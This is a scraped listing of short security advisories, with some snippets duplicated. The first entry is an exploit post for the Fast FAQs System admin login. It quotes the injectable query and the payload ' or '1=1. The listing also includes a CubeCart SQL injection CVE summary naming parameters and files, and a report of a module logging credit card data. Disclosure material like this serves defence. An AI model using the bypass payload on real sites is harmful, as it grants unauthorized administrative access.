Fast FAQs System - Authentication Bypass

Fast FAQs System - Authentication Bypass -=Fast FAQs System=- Autore: x0r Email: [email protected] Cms Site: http://fastcreators.com/products/fastfaq/download.php Bug In \admin\authorize.php $query = "select from admin where userid='$POST'uname'' AND pass='$POST'pass''"; Exploit: ' or '1=1 Greetz:...

Fast FAQs System - Authentication Bypass

-=Fast FAQs System=- Autore: x0r Email: [email protected] Cms Site: http://fastcreators.com/products/fastfaq/download.php Bug In \admin\authorize.php $query = "select from admin where userid='$POST'uname'' AND pass='$POST'pass''"; Exploit: ' or '1=1 Greetz: Anna...Strabica...Emetta... Vi Amo.. -- w00t...

CVE-2006-4267

Multiple SQL injection vulnerabilities in CubeCart 3.0.11 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 oid parameter in modules/gateway/Protx/confirmed.php and the 2 xinvoicenum parameter in modules/gateway/Authorize/confirmed.php...

CVE-2006-4267

Multiple SQL injection vulnerabilities in CubeCart 3.0.11 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 oid parameter in modules/gateway/Protx/confirmed.php and the 2 xinvoicenum parameter in modules/gateway/Authorize/confirmed.php...

Unintentionally logging credit card transactions

Solar Designer of the Openwall Project reported a security vulnerability in the contributed authorizenet module which is part of the ecommerce package. Credit card information was being stored in a system log file. The system should not be saving this information. Versions affected Please check t...